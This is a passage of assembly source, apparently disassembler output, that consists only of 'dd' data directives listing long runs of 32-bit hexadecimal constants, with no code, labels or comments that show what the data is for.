		dd 21602616h, 0C80145Fh, 0DF30E4Bh, 0A94560B9h,	64FAB40h
		dd 0BA1B5A17h, 0D6640FFAh, 1A980760h, 0AD0785F0h, 0A796AFCCh
		dd 8A0646h, 0D6AF5FAh, 1AF471E4h, 0E231DA01h, 55EF9705h
		dd 3A8A60h, 8335073Fh, 0C7ABF6Eh, 59C3FF00h, 0D5FB818h
		dd 1BECBDh, 577430EEh, 9C3F80E5h, 0E6CB9100h, 0BF64AFE7h
		dd 78B100ABh, 850ACC03h, 1F0189FAh, 5B3E9929h, 39CC501Bh
		dd 0A1ED00D5h, 0E8526B12h, 0CC00ECC2h, 0CB7E8F6Ch, 3810EF2h
		dd 4C7D373Bh, 4F85AF8h,	1800EAF4h, 0BB85E0D7h, 2DBE8Fh
		dd 0C0CAF650h, 9FDAC3DFh, 0F8003E79h, 5895E232h, 2BA08Ah
		dd 245674BFh, 9E701F9Ch, 0DF591B00h, 52458794h,	81E709CFh
		dd 0A8801C2Bh, 0F5F9FA8Ch, 0F75F2A0Fh, 0F2C09DF0h, 222F49F6h
		dd 68F630h, 5A9975D0h, 6C79208Dh, 28F8FD30h, 8FC8DFh, 885D9D97h
		dd 2229319Bh, 0E8210828h, 0E16F622h, 64D91A7Fh,	0CCC1D6AFh
		dd 0C01F66A1h, 7900DB09h, 7E715013h, 8D2D73h, 9110A6F5h
		dd 80E3FA25h, 0B30B5500h, 0B54C0413h, 0DB8A0F3Dh, 0A7AE8D6Bh
		dd 499E7D80h, 5307F523h, 0A99211D0h, 0F2C11F90h, 2A170005h
		dd 8EE6214Ch, 0B6008937h, 0A2BE3D23h, 18323997h, 0C40B487Ah
		dd 0BB0FDF34h, 8B84BFh,	6F132988h, 0E7D9004Ah, 0C9E62F9Eh
		dd 5F7F21AEh, 9BA43000h, 59044929h, 12B8DEh, 33790508h
		dd 0D067D3AFh, 0FF884107h, 2642FDACh, 7C6440C8h, 7B390037h
		dd 9BF7C9EEh, 13770A92h, 47FA5B00h, 1AF30E6h, 73B03865h
		dd 9A9CC280h, 0F5A8EC32h, 0F61C8200h, 0D202AD9h, 42890FE0h
		dd 8F0F9619h, 0E635E120h, 0BC00234Ah, 0F13B5259h, 847C9Eh
		dd 0F5BED32Ch, 17E52A75h, 7178D700h, 0E2FE825Eh, 0E39403DAh
		dd 0A9CD914Fh, 1040439Ah, 77000CB8h, 5B7B3618h,	175E9Bh
		dd 0B2ADAC8Eh, 0C62013FDh, 0C81A48h, 55A10931h,	885F37h
		dd 3DACC92Bh, 181EDBFCh, 6B004FB8h, 0E83AC156h,	7316B9h
		dd 0CBFE1D74h, 52A11C3Ch, 0AD065924h, 0C1004B17h, 9326C8BBh
		dd 108D0022h, 54D579F4h, 0C100996Ah, 0F9D721DDh, 2A6BA8C6h
		dd 0FCB411h, 66A55DB7h,	34539654h, 3C55CC00h, 1E6D6C2Fh
		dd 5BC8010Ch, 2D40AD5Fh, 66F7410Ah, 0DF02036h, 642C34FDh
		dd 0B0846703h, 0C0E3030Ch, 249CC01Ch, 8014A73Fh, 4253A816h
		dd 1300836Ch, 0F61860FFh, 0FE646AB1h, 96E307DEh, 0C0C4CD9Fh
		dd 6816BBFAh, 31888700h, 3DDC8AC3h, 497D004Eh, 0D82C0811h
		dd 0A301867Fh, 30C9908Ch, 0FA80B0C0h, 871D63C2h, 2900B5EAh
		dd 83FF1A61h, 73FA10h, 3D42699h, 0A0A3F8ECh, 7800047Bh
		dd 7462F04Dh, 2594C77h,	0E8BF55F3h, 95608184h, 400EA7Fh
		dd 51894B25h, 0C068B07Eh, 965CDAB1h, 8C00B659h,	2E7F0A79h
		dd 297D9E5h, 749F702Ah,	2840E74Dh, 0EB3F21A4h, 0E65811h
		dd 96BB145Ch, 0F55AA2h,	40BE28DEh, 0E5AA300Ah, 7803BA00h
		dd 0B5BFE61Bh, 0A92900C1h, 55B089EDh, 2E1D335Fh, 59D24352h
		dd 45C42800h, 0E99F8CAh, 0E6348D91h, 0BCE439A0h, 0D00376B6h
		dd 0F8AD4D35h, 878B89Ah, 0CCA301B4h, 19BCFAE3h,	6004DC5Dh
		dd 9547EB01h, 232C1021h, 923E0460h, 0B7E43940h,	9BE98E80h
		dd 0E75834F4h, 0BA01F6FAh, 29F3A756h, 60CE458Ch, 9EBDCC5h
		dd 47772F21h, 583BB78Eh, 584616D8h, 0B0E9BF00h,	5B38E2C6h
		dd 0B809786Bh, 0FBDC04C2h, 8058CB73h, 8BBEE644h, 64DF1800h
		dd 0AFED11E9h, 49040F7Dh, 0BAE33C73h, 0CAA91714h, 4C6218h
		dd 0AA13A2B9h, 44E19Dh,	6FF8629Bh, 0AF07318Dh, 574B3D00h
		dd 7ADF16DBh, 0E8C80008h, 0F7D13B8Bh, 68125DC5h, 0FC5DE922h
		dd 0A045BF87h, 982EFA70h, 2802E8D6h, 3EE49BB9h,	183EF69Eh
		dd 86660C07h, 0A4388C1Fh, 0C6DB1400h, 0E022C92Eh, 33EE835h
		dd 0E6F2BF09h, 10002DE1h, 3FF4F8CEh, 7DE22C31h,	0BD2800D3h
		dd 136F4426h, 98792F78h, 9E0615E6h, 5ECBFAFEh, 0A8180024h
		dd 0C0D42416h, 250012F3h, 9548A2Dh, 3307319h, 69C56F61h
		dd 0B0046AFFh, 0DB26A033h, 35C3EC90h, 588B00FEh, 311B1F84h
		dd 250E6F1Ah, 60A9A43Fh, 28D6B38Eh, 7D8300C5h, 29D05D3Ch
		dd 4801E0DBh, 69C42624h, 0F8FC71B0h, 49933F0Ah,	473A2A80h
		dd 0CDD78615h, 4A8F0507h, 0ADC02112h, 38FDF979h, 92073653h
		dd 60376928h, 3D2BAA98h, 1AEC7B00h, 22A113BDh, 7D3F664h
		dd 9AC3B033h, 0F8FE505Bh, 731E9909h, 5DC1E679h,	0E2CE0247h
		dd 3F2B54A8h, 7BE863h, 0A2E01B0Dh, 8C2C55CFh, 805EBD3Dh
		dd 0DA3DD6F7h, 0FBC1A7h, 4882116Fh, 248A7FE9h, 0D6B40C07h
		dd 0DBD39A49h, 30E7E93Dh, 541AD3E0h, 698D8h, 5E8A6633h
		dd 65EA0D04h, 4AEC09C6h, 19260020h, 0E0971266h,	0A61F71CCh
		dd 0EA40CA60h, 527A2D56h, 0F9F00137h, 0B82104DCh, 0FC39ACBEh
		dd 20290E03h, 0DAC9B8E0h, 0C6DE3AC8h, 0B217330h, 340129D6h
		dd 0F79B8B06h, 0C9F9CFDCh, 0FFA2870h, 0AFA287E1h, 24DB687Bh
		dd 0D1ABB000h, 9BFC3405h, 30B172CCh, 4A5148EAh,	2718F2B9h
		dd 3112481h, 329701C1h,	46FABE98h, 830C7A6h, 0B9E4214Fh
		dd 1877C97h, 287D8431h,	0EDBCC3D2h, 5058B2ECh, 97C0302Ch
		dd 962A5C90h, 4E4428FBh, 97BC00EDh, 7DCF245Ch, 25005847h
		dd 0FA06FF6Ah, 359D39DCh, 7D0F8E7h, 43928FB0h, 70C055B6h
		dd 6F0082A7h, 5212B43h,	1897C71h, 40780D67h, 0F1C66DCAh
		dd 3E4460F6h, 0BF0007F2h, 1D7115BAh, 71692D81h,	483A01EEh
		dd 9F945514h, 4723E4EDh, 2618E360h, 0F6F08653h,	0E6E01CA5h
		dd 815241D9h, 9F79430Fh, 0DD407438h, 7357061Fh,	0A3EA0E41h
		dd 0C56076DAh, 4D3AB14Bh, 0F0E88E00h, 70FCB38Bh, 374700BDh
		dd 769F01A5h, 0A6A2642Dh, 2ECB86C0h, 0E4B98E00h, 2093222Ch
		dd 5F1F078Fh, 0F03F60E9h, 0AE530581h, 4762CF1Ch, 0C74A828Fh
		dd 0A850E0A4h, 1D16E3D9h, 5A997F8h, 0C02B14F6h,	0B911A601h
		dd 330CEF01h, 4F929324h, 0FD9870h, 0EEECCA70h, 4B3EFF07h
		dd 0C73AC800h, 7F72D7D1h, 2AF4F8h, 0CB52ABEDh, 0B16F5FDCh
		dd 3820E400h, 71593CD1h, 757E000Bh, 5840FCDDh, 0F700A582h
		dd 9F369E61h, 95BEC6h, 8459F21Fh, 2F4A42F8h, 0C3004A98h
		dd 4F866C65h, 6E6EC9Dh,	0D4EF2935h, 370030C7h, 3BACB3B9h
		dd 2ABC9080h, 0CC7445h,	5723029Ah, 8D251906h, 1FB36A07h
		dd 0C5C05E3Dh, 0A086D154h, 0EE7EA4h, 0A6739332h, 0A40DC3D8h
		dd 6DA0F601h, 7D457898h, 6210F0h, 8F33B027h, 0F677DA58h
		dd 2118A0F0h, 0B2703BC0h, 664507A3h, 63407128h,	51D0AF58h
		dd 81905417h, 0EF777D00h, 44CC6E0Ah, 88211E26h,	0AB70C0B5h
		dd 0B39AD209h, 0C4AC4B00h, 81C5A855h, 1816007Ch, 0EC0E0792h
		dd 0B53934EBh, 991D7E85h, 0AD80CC62h, 0E9701EEAh, 2A0B030Ch
		dd 0FD6A2656h, 0BC995CF0h, 0AAA8B700h, 58696B49h, 0D2F305E9h
		dd 0EF078970h, 96B9F480h, 0ACAA0117h, 1EA9C584h, 0FCCFED59h
		dd 7C281F1Ch, 31058272h, 5FDD6091h, 0E526B001h,	34EC952Bh
		dd 2EC9002Fh, 0ED3651EEh, 22009F3Ah, 7E96F8BFh,	0BA210Dh
		dd 4EB3E68Dh, 3E4D1F04h, 0FC409703h, 80CF8A51h,	48BCBD74h
		dd 0A00B5C23h, 2383B939h, 0D087B121h, 0EA2C9DD2h, 5E7C4B00h
		dd 35549592h, 51BA0122h, 0F3165ACEh, 0E2C0CBCAh, 0A3183BFFh
		dd 0E68947A5h, 2C820CBBh, 0C4A8C541h, 0ABE2B00h, 4F4AD147h
		dd 1F700B7h, 0EE577367h, 0E0077856h, 0BA247AD8h, 0F805FF53h
		dd 0E9D73Fh, 0FA0F361Ah, 92A55276h, 0C000C57Ah,	0DDA2ADD4h
		dd 1C3FC8B8h, 0C08C49CAh, 0CE7B5D3Ah, 8400AFBAh, 3779C04Ah
		dd 1F10509h, 63B026B3h,	0D46BB26Ch, 0E905E684h,	7595314Bh
		dd 9B103B80h, 0C0EE60E8h, 0E280B8C1h, 6D70511Fh, 6B7CFBC0h
		dd 928FF72Eh, 835A00F4h, 1030D27Fh, 8A004BD9h, 0E4C95D58h
		dd 7E0431ABh, 7B70924Fh, 751B1306h, 0BE1C40CAh,	0D2E98D41h
		dd 0E35A8100h, 9269DB6h, 0F8F00060h, 0FBF63593h, 18011571h
		dd 68143B4Fh, 0D450D1E1h, 61B2E322h, 0CB668C4h,	2BF4D4CBh
		dd 88379A00h, 60BF2015h, 0AC483931h, 62227900h,	0EA442F02h
		dd 512C2E1Dh, 154B5EC0h, 1E53490Ah, 0DED6CBh, 0FA8473BFh
		dd 920F1AD1h, 670929AAh, 6050C94Eh, 59F3ECh, 235E273Eh
		dd 712A2673h, 1E034F00h, 281F414Ch, 172F00BBh, 8EB09F30h
		dd 6E008D23h, 82E298B8h, 77FAC244h, 3FE300DFh, 0B2E94D37h
		dd 601CF6F0h, 0C6C1C558h, 0DA3996FCh, 5FEDC040h, 76CC7DB4h
		dd 0E4580027h, 82854BF6h, 500FC668h, 0A3F48B6Fh, 0B01A879Fh
		dd 618B783h, 0BB9E193Ah, 4112C41Dh, 7400884Fh, 0ACB949Fh
		dd 3B2E073Ch, 104A1C58h, 507FCDAEh, 0E47C0E00h,	13050276h
		dd 0E6960E71h, 2100908Ah, 8F5EFD16h, 9F84EA00h,	139812DCh
		dd 3FC103BAh, 0FB5B74AEh, 796E3CD0h, 18569E39h,	0C6C03887h
		dd 0C5C90766h, 4093EC1Dh, 5DD62BE4h, 0D7B1C814h, 0AA0778E0h
		dd 38F757D8h, 32F612A0h, 8ADB24BAh, 8B3C8114h, 34A02068h
		dd 760F25A8h, 608E2428h, 0F80438B9h, 6AF42850h,	8BA93CFCh
		dd 0BA45CC80h, 0EE76E38Fh, 87941107h, 6323F32Ah, 0C951A853h
		dd 7CEA01FDh, 3329E857h, 53B03FE4h, 0A17300C0h,	74FC55D7h
		dd 4030DEC7h, 9C454894h, 86C203CFh, 0DFDE6A8h, 77F3F9B8h
		dd 67B78101h, 5CFFFC51h, 0F7B17A80h, 0AD57ADAh,	0F1E90F07h
		dd 0AB50F2BCh, 80D340h,	449B575Dh, 13331724h, 5277727Ch
		dd 8008D13Bh, 863C88D0h, 0FF3159Ah, 14DB4C28h, 0CCCADDE3h
		dd 1A50D6D0h, 0C39A5A00h, 267B55F2h, 461E00BEh,	17A59385h
		dd 0BD009F0Bh, 4912D258h, 0E0372FB2h, 0EDE50069h, 0FFCC173Dh
		dd 0CD006661h, 0FDABAD2Eh, 3F9809h, 0B5A65538h,	2B3D4A6Bh
		dd 1FA2BB48h, 0F1D7632Fh, 59938D00h, 407926h, 5C217D5Ah
		dd 30886F42h, 5BF3CC0Dh, 26E54076h, 3C71464h, 0B78F9B1Ah
		dd 78070A88h, 0E3368483h, 0F098C410h, 9011007Ch, 0F5D505ACh
		dd 0AF05B0DFh, 0E24D1AB5h, 8B68CB80h, 3EC400B8h, 2A631948h
		dd 5500DE57h, 42CD1375h, 6BA9ABh, 449E520Dh, 693A6095h
		dd 19BC9C09h, 0BC4A0B6h, 0A94813h, 6C1E2365h, 274FE7D0h
		dd 4438FA00h, 835D1618h, 955300D2h, 0BFA2B596h,	0AF009EDEh
		dd 0DC5AF3E0h, 7336251Ch, 0E6750328h, 0D79C7437h, 41ACBE02h
		dd 483EEA6Fh, 2591A550h, 0ABD82BE2h, 86CD7A05h,	105FE96Fh
		dd 24564060h, 8C4928CEh, 0DE252095h, 0AEB80C18h, 3EF14611h
		dd 0F1E48AF4h, 621238C0h
		dd 0E86E2826h, 3AA22C81h, 0ECF08B3Dh, 265881F1h, 6080F2B6h
		dd 72FC6E1Ch, 5C019869h, 0A4CA3739h, 0F434E1A9h, 0E6C0CC60h
		dd 8C7E7438h, 0A2128100h, 3B1CEFD5h, 8BC53786h,	0A1FF8080h
		dd 127BF74Dh, 0F191F300h, 44BCCC83h, 0C63E00B8h, 0CD26C85Ah
		dd 0E439AD5Dh, 0F200F6DFh, 0E60EE80Ah, 288A302h, 2B7A93E7h
		dd 0CAC097B7h, 2E005CD2h, 0BF4A1892h, 1858CCAAh, 0A23A4DCFh
		dd 0FF75D8ECh, 698E4B05h, 35807962h, 1F3DB4C6h,	8034AFF3h
		dd 0DF4D2F0Ch, 5F0197A6h, 6426303Ah, 0D860EF8Fh, 8C7B001Ch
		dd 0DBF72BCFh, 1903CBFDh, 0FE48DC75h, 224D138h,	421AEA40h
		dd 0CBBC0F0Dh, 2D810C9Fh, 40A4DEC4h, 793741B0h,	9BB2B800h
		dd 0B70F6673h, 2BC03FEh, 0E3999FB4h, 2CAF701Ch,	71A89140h
		dd 32DD92h, 4E6B57Eh, 21AD355Fh, 0E7936F00h, 0D7A63A0Fh
		dd 14C0C7Ch, 2C0CD08Ah,	3414ED01h, 0A98782A3h, 70AB32DCh
		dd 53030186h, 8CF9C344h, 5123C42Ah, 8B2CA906h, 2AB2FCh
		dd 4C0A8408h, 7E9F2817h, 9C59B00h, 0F9E07BE6h, 0B4409C9h
		dd 0CCA851C3h, 570421FCh, 161F670h, 0B162DA57h,	4E9E264Ch
		dd 0DDC5F038h, 6030FF6Eh, 0B8F3002Fh, 0BF8B8C39h, 1513A14Eh
		dd 3C0E8E56h, 0E182AFC5h, 0FA4AA2F2h, 84E72990h, 424852E9h
		dd 0B906B241h, 4F11E302h, 0FE74E109h, 21F94203h, 1008BF51h
		dd 751A8C5Dh, 4284B129h, 5194119Bh, 50282628h, 447750B0h
		dd 564441BEh, 5828A0D2h, 417389FCh, 12786D14h, 2EBF10DEh
		dd 880FB740h, 981CB8BCh, 20406E03h, 0A7F1E179h,	5B3501CBh
		dd 0F2EB8023h, 455DC4C8h, 48671600h, 0B021B834h, 974000D4h
		dd 1BD50A46h, 0D0086BAh, 617995F3h, 0FBFE26h, 8BA74C93h
		dd 1722EC7Ah, 0B6C0E000h, 6F85D0E4h, 4D6600DBh,	1AC1873Eh
		dd 0CE006862h, 17721FC2h, 0F4A04932h, 7063DADh,	510A283Fh
		dd 1CC96368h, 0B2F440AEh, 9E94F65h, 0BAFEFB00h,	0BE0EDB7Ch
		dd 7609CCEh, 0C0A43CE0h, 0D2B7ADACh, 7F785400h,	0E37999D1h
		dd 2B6200B8h, 0DF9D2E85h, 0AE018F28h, 618459B1h, 2C24C3E8h
		dd 8BA60FF5h, 0BA80B253h, 3F4B7C70h, 34E70600h,	4274D567h
		dd 50150E1Ah, 2560FFD0h, 4EE5890Bh, 73105D00h, 616FD6E0h
		dd 0BD86004Dh, 10B0FFDh, 1D18C2E8h, 0EF315A19h,	4234006Dh
		dd 23C54705h, 6478B467h, 0C7004DE4h, 3AF49AABh,	3C81176Fh
		dd 0DE803C2Bh, 872CF0E3h, 8B790104h, 224EA101h,	3693E5C7h
		dd 0FBA370h, 9ADDDB3Fh,	810496C0h, 375C5200h, 0D62692F7h
		dd 9DBF0097h, 2E450FF5h, 0D000963Ch, 62B66A4Bh,	0E7E14Dh
		dd 9111B8FBh, 0F0F8BB55h, 527D000h, 588AEE13h, 107800ABh
		dd 411A1719h, 0AA3F50C1h, 63007F70h, 0EC326D92h, 0ACD037h
		dd 0EA54C261h, 66E731F4h, 0DB58C01h, 0D668DC01h, 0CB25082h
		dd 0B9803478h, 7AB4C404h, 385EAE00h, 215423B1h,	886B008Ch
		dd 0FD7D80A4h, 5900225Bh, 0D476FE98h, 0E004CDECh, 1BAA0061h
		dd 8B5B13E6h, 4C00D184h, 0FC2E399Eh, 0F7990CEh,	4A0CAE64h
		dd 3B77DBA0h, 163E31EBh, 66AF1C9Ch, 20595B09h, 0C710044Ch
		dd 0CD27008Dh, 0BE8E0AEFh, 6B00818Fh, 0BA604B5Bh, 1F38ED61h
		dd 0B92C7Eh, 84851D88h,	4302D18Fh, 4417241Eh, 4E304057h
		dd 269300EEh, 61853C22h, 8788C02Fh, 52CB00BEh, 0E7F39F6h
		dd 0FC00BD6Ch, 0BA366558h, 728C32E5h, 74EA0059h, 0B50D5781h
		dd 40013F2h, 89B49A6Ah,	3B2AD30Bh, 0AD0009B1h, 0EC28FF9h
		dd 0F000327h, 0A8239EEAh, 0EF53E04h, 0C186DAE6h, 496A0C80h
		dd 6E002037h, 5C1643F2h, 46AC26h, 7BF89C15h, 0FD42324Fh
		dd 0B85848h, 942C5F74h,	7009FEh, 235EAD25h, 0B5D119F0h
		dd 7E105A00h, 8D32D72Bh, 77EB006Ah, 0C848F686h,	0BE00DCEEh
		dd 0F5BA24BFh, 0E3A342h, 7FEAC1B1h, 0DB8F7725h,	2FFF903h
		dd 0B8B64F03h, 912E5CAh, 855F70FDh, 24DC6380h, 0CD1CE24Dh
		dd 63408BB0h, 0C8C20E47h, 0B39300C0h, 25E13E5Bh, 6801BBE5h
		dd 0F06B33ACh, 6AC08465h, 0AEBD00CBh, 0F64A75F3h, 0CF00CA34h
		dd 0FB9B2F98h, 719FCCDh, 28573CF0h, 54D61047h, 0A6000CF5h
		dd 7E2640Fh, 19C4984h, 28130272h, 0C1AE6CD3h, 384ED027h
		dd 440031F4h, 2BEB6E73h, 9AFB46h, 0BB608BF1h, 55D742F4h
		dd 4A861C09h, 0E14F81FFh, 0ACDCA866h, 8FB80079h, 0AB01972Fh
		dd 1300B00Fh, 5D70A376h, 1873BFh, 0E71DB427h, 54FAF7ADh
		dd 1277FD01h, 43AE4BE6h, 19FA920h, 39A7C174h, 0C8CE446Fh
		dd 4133E2D3h, 0A0406E1Ah, 60CB030Eh, 6248484Eh,	9A20D59Ch
		dd 0DD060021h, 0BDBC4D79h, 6D00BA82h, 0B96E42Eh, 19FD44h
		dd 2E0776Eh, 45BCBBF3h,	0C418CB28h, 521C8C01h, 0A0FA0F1Bh
		dd 7A722860h, 41AD076Fh, 91EC97FBh, 0F0542223h,	0D77B4394h
		dd 0AE2A2B18h, 6E7A820h, 0A1DB8640h, 1C0198CAh,	0B3E0A28Fh
		dd 2C20F2D6h, 61F707E4h, 0F07BF519h, 31D3485Dh,	3C6B1703h
		dd 0E8C5CA69h, 0F680677h, 0B464494Eh, 815D9A80h, 80A0D973h
		dd 550FB64Dh, 3E317E7h,	0E0E425F1h, 0B3D637h, 0E06B9CBEh
		dd 733D9F21h, 0C842EA16h, 0AE48D900h, 0FF05E3h,	4C20E726h
		dd 5F0A8BB8h, 14130800h, 0A244F758h, 947F76h, 0F6748C29h
		dd 9D065451h, 81FEA500h, 7212C9C6h, 1EE13E4Fh, 0AC678300h
		dd 0F4FA1062h, 0B9736FFEh, 0BEF12B00h, 0B2D6A668h, 0D4070132h
		dd 5C8F5D24h, 0D70BF0A8h, 0B9D5AD00h, 6D2F3D74h, 0FFA21FD0h
		dd 0A1378077h, 0F9197511h, 0FA9F5E00h, 10979286h, 0CD89006Fh
		dd 7EF17BD2h, 25F8371Dh, 0DC2C7D28h, 53122D24h,	6EA1C200h
		dd 2229DEh, 9CBA53F3h, 1945C641h, 924CC800h, 0E5C5508Ah
		dd 2BCB00A6h, 0D553491Ch, 950194B4h, 8F3A2F29h,	3C5633Bh
		dd 3DDCA020h, 0FC12C8B6h, 0DF3D0016h, 75346493h, 0FFACF00h
		dd 873C986Fh, 7E8907D8h, 81CD601Eh, 0FF3E32F0h,	0C08B58E1h
		dd 603E35Ah, 0EEA9A8E8h, 5DF0E00Eh, 0D940C0E9h,	434C99FDh
		dd 3B7A6309h, 68EC009Eh, 3BE321Dh, 6D62CF07h, 1907971Ch
		dd 989587D1h, 0BAD3605Eh, 775156Ch, 0DBF2D72Fh,	5E2A709Dh
		dd 0AD00BEB4h, 0ACF8EE02h, 0E3EE8BDh, 0C7346389h, 8B4D4660h
		dd 0BA3C99AEh, 826EB97Ah, 0D1130D67h, 972C4015h, 0F3D51DBCh
		dd 82598016h, 0EBDDECBBh, 60383E00h, 0C6EFC283h, 9A460001h
		dd 420994Eh, 0CA0F61F5h, 40C97D8Ch, 9C57F3D6h, 2239045Ah
		dd 87F44399h, 86E1200Ch, 7E00E7CCh, 1F903D0Ch, 7AA5B1h
		dd 3616E6DAh, 21E23E44h, 37048CFEh, 2388E727h, 5DF37087h
		dd 0D07AC89Ah, 0F8831F01h, 5F4B0020h, 9CF0FD80h, 701D0C1Fh
		dd 526D3780h, 2B4044h, 0C8D8C1B8h, 39D4B48h, 0F843Bh, 324DA1E3h
		dd 1C8DA2h, 8FCFE773h, 0ECC8B720h, 0CE6CA803h, 93523738h
		dd 0F2D4884Fh, 0FAEF00D5h, 6642C6B3h, 0C0098145h, 87CCC9E2h
		dd 0E0F03C20h, 1227958h, 0E62CFD5Ah, 0C9B0AB51h, 61A08087h
		dd 3F7B8466h, 3DFF12B1h, 5733000Dh, 1C3B3E1Bh, 935F780Eh
		dd 0FE045EF8h, 54C51480h, 761BC0BEh, 0BE005B7Fh, 2717C4BCh
		dd 39E3C70h, 355CDE66h,	0B800E53Bh, 86951824h, 0F4B476B8h
		dd 389797Bh, 2AE7EC5h, 0F3A80F9Ch, 380032DBh, 925ABF1Dh
		dd 9995F68h, 22647129h,	0A8A5A800h, 2400F353h, 9F66A1F8h
		dd 3EFC1B78h, 6D80D4DCh, 1830515Ch, 3DFAA0F3h, 336EFD00h
		dd 7BB69443h, 5F0B3D0Dh, 0A88FA112h, 2B7C098Fh,	84A80002h
		dd 0C04E711Fh
		dd 37D26F7Eh, 2E5865D4h, 5CEC1F30h, 18C9B840h, 0E66A549Bh
		dd 7CE60F1Ah, 3013093h,	214B6B52h, 0E9C8CCC4h, 43EE2700h
		dd 0D9676564h, 430E6BDh, 559E456Ch, 1A648014h, 8B32A110h
		dd 4046D81Fh, 834B3Ch, 0DF4EFA59h, 0FFEEA30Dh, 0EFC6D000h
		dd 0D2116D1Dh, 0D953070Ah, 8035FDADh, 0A7FF8324h, 47389300h
		dd 89F5B1Eh, 504074Ah, 7012824Ch, 0F21CDF9Ah, 7BF5524h
		dd 8BD27200h, 3D99C8h, 0B0C7AB6Dh, 7C93E714h, 0B9823609h
		dd 28AA0002h, 785C5BAh,	661F1370h, 111B712Ah, 0D0B4D87Dh
		dd 6F511600h, 0F2A2896Bh, 313A0029h, 0C5E4A62Eh, 0FE173382h
		dd 14005835h, 92665D73h, 0FCE401h, 6B10D06Eh, 2C8E64F6h
		dd 68075198h, 0E75F07B1h, 5DE1A080h, 0F4F673BBh, 78E7D90h
		dd 0CD27107Fh, 0F1A87018h, 0D501CA84h, 0DFBD8901h, 8BFC4D88h
		dd 4B24012Dh, 1C1180D0h, 6113FC5Bh, 5A15C800h, 40F95D3Bh
		dd 3AD40048h, 0BB687E91h, 57671814h, 5B700619h,	772C9C4Dh
		dd 0BC77000Eh, 0B5DDA43Fh, 91006649h, 0BA5FF595h, 0EF1258DBh
		dd 45FE70h, 0E1491973h,	0A13FF2Ah, 868CCC00h, 20381F5h
		dd 2C050779h, 0C0FC31F6h, 0B6AE3C6Eh, 0E6B74F00h, 1DC15A48h
		dd 80C0075h, 0A2A9CBF0h, 4A006DC4h, 16762C10h, 0CDC7873h
		dd 2695F658h, 0FB3911A8h, 0D2238087h, 0F4DACCC4h, 914100F7h
		dd 72625D01h, 0D83E1C56h, 80A5BC05h, 0EFD45E82h, 0A2ADECh
		dd 3B37695Ah, 32BC98E8h, 3653FA00h, 0BFEB92ACh,	84E00022h
		dd 0DA454E40h, 8F00CBFBh, 5DA6C50Eh, 9F627Eh, 2E3E5EC7h
		dd 3D65A2E6h, 1F7C8B04h, 81C76A23h, 932B8030h, 0A47F6Dh
		dd 0C40689A9h, 634408C5h, 0EF698D03h, 0EB7270DEh, 9190D715h
		dd 0A04A75h, 0BE76A464h, 0B93411D9h, 960EBA03h,	0F047E365h
		dd 3BDFC1FBh, 0B88085B3h, 0F182165Ch, 7E3F212Bh, 29E1007Fh
		dd 0B338FD64h, 0CC200062h, 67158A5Ah, 3B0090AEh, 0B8D491B7h
		dd 6C1222h, 0D49A73Eh, 85CB27C0h, 60A84100h, 0EFFB88DEh
		dd 0B9E60001h, 25295171h, 9398D1A9h, 47632700h,	60E52D0Bh
		dd 7597C62h, 725CDBB1h,	2770D019h, 5198D38Ah, 0B800FA71h
		dd 216A0104h, 538766h, 0DFA0A99Ch, 0F9D871E8h, 0D0860B0Ch
		dd 26A05Ch, 1578EB34h, 96277A6Dh, 10C23A01h, 7BAE5D07h
		dd 804A3040h, 0B21E0004h, 64B9A68Fh, 0D90784A2h, 0CB2D6908h
		dd 790BF7D0h, 81C20972h, 18008224h, 0C6597D7Ch,	77385B1Dh
		dd 75F3D040h, 0A12B234h, 30582463h, 2DF600F0h, 0CE18461Fh
		dd 854A441Eh, 0AB543980h, 3D7284F9h, 0FB00DFA5h, 0E59110Ch
		dd 4D488B62h, 24560062h, 4174A2F5h, 36048C7h, 0ABDBC100h
		dd 8BA76847h, 0DD831B00h, 4D78D9B4h, 584C00B6h,	4A92C269h
		dd 0CE00505Ah, 0B2E504C5h, 3E57887Ah, 3280AB23h, 27F74303h
		dd 0A6005A6Dh, 0B94DF377h, 925073Dh, 8039836Bh,	1FC67C00h
		dd 421C0DABh, 0C24040B8h, 4D95C34Fh, 0B4300BDh,	929C38DBh
		dd 34002F45h, 0CB6C7BA1h, 0ABF31Bh, 433D9065h, 0BDC915E5h
		dd 0F93C2172h, 82C4CB0h, 16AF33h, 76C208B9h, 700E2EEh
		dd 83126DEBh, 350481h, 8A869E29h, 0BE06FF65h, 90AD7901h
		dd 0B4C35201h, 0A6E480E6h, 72868D7h, 9796C13Fh,	58A02951h
		dd 3986D97Eh, 8B7C2102h, 40686E19h, 12D70Ch, 7E643115h
		dd 2DBC696h, 9A492D26h,	0E2E1AF00h, 0E638EC34h,	0A27C078Fh
		dd 10F4C0CDh, 728E58CAh, 0D35F3Bh, 0D24ED0D9h, 48864C43h
		dd 7045C5Bh, 1EE4E9h, 0C17D4DF9h, 5789879h, 714A3C43h
		dd 0E126C0B5h, 0F700D2EBh, 0B6CEDA5Fh, 0E5DF7Ah, 0B2D71A55h
		dd 118576C1h, 75813000h, 7DA3578Ah, 0FA4A040Ah,	90D2F20Bh
		dd 141EA770h, 5D0A00B0h, 882F6BB3h, 6450703Eh, 0BC13C294h
		dd 0AC00E4B4h, 5EE76E51h, 0C7A2019Bh, 0AFEBBAF6h, 0C496D94Fh
		dd 0F090EF37h, 2F9D8204h, 2B00691Ah, 0A8E48187h, 3C02321Fh
		dd 0DC79B740h, 7FB37B0h, 90B83152h, 0DFE730EDh,	9C00D6F1h
		dd 0D5598161h, 13E001D8h, 153579Bh, 50B51D8Ch, 8B945012h
		dd 2E00818Dh, 0CE4FE0B7h, 2DFCD3h, 0CDDD9A85h, 46D532BAh
		dd 0BB1EA300h, 5C8CD61Dh, 18C500BFh, 37D3F014h,	0B2499F2Fh
		dd 9C3408C8h, 0DED805Dh, 486B3664h, 73C8D614h, 81B101E7h
		dd 5260FAE6h, 0FDF1A70h, 0CC37A1Eh, 1DA0960Ah, 28248Dh
		dd 59192F71h, 0A201E57Ch, 0EF146C21h, 0B89F61B6h, 5BE80001h
		dd 0E99ADFB8h, 40C3E21Ch, 0D7482700h, 30A9C6h, 1B830678h
		dd 6F9D2522h, 46D238C0h, 0D9F4A0h, 3B649934h, 0D6BFB56Ah
		dd 8DDB4A0Eh, 69706073h, 50C40CFFh, 0F5F0D5h, 72972228h
		dd 7309BACh, 0AF3A5800h, 0E9B8E78Ah, 315B0020h,	8941A466h
		dd 8CB0820Fh, 48D97501h, 0DD5AFF9Ah, 7F06BE4h, 0EB883E56h
		dd 0E22B503Fh, 0EA1C36BAh, 5A303746h, 58CF606Eh, 1D01EA47h
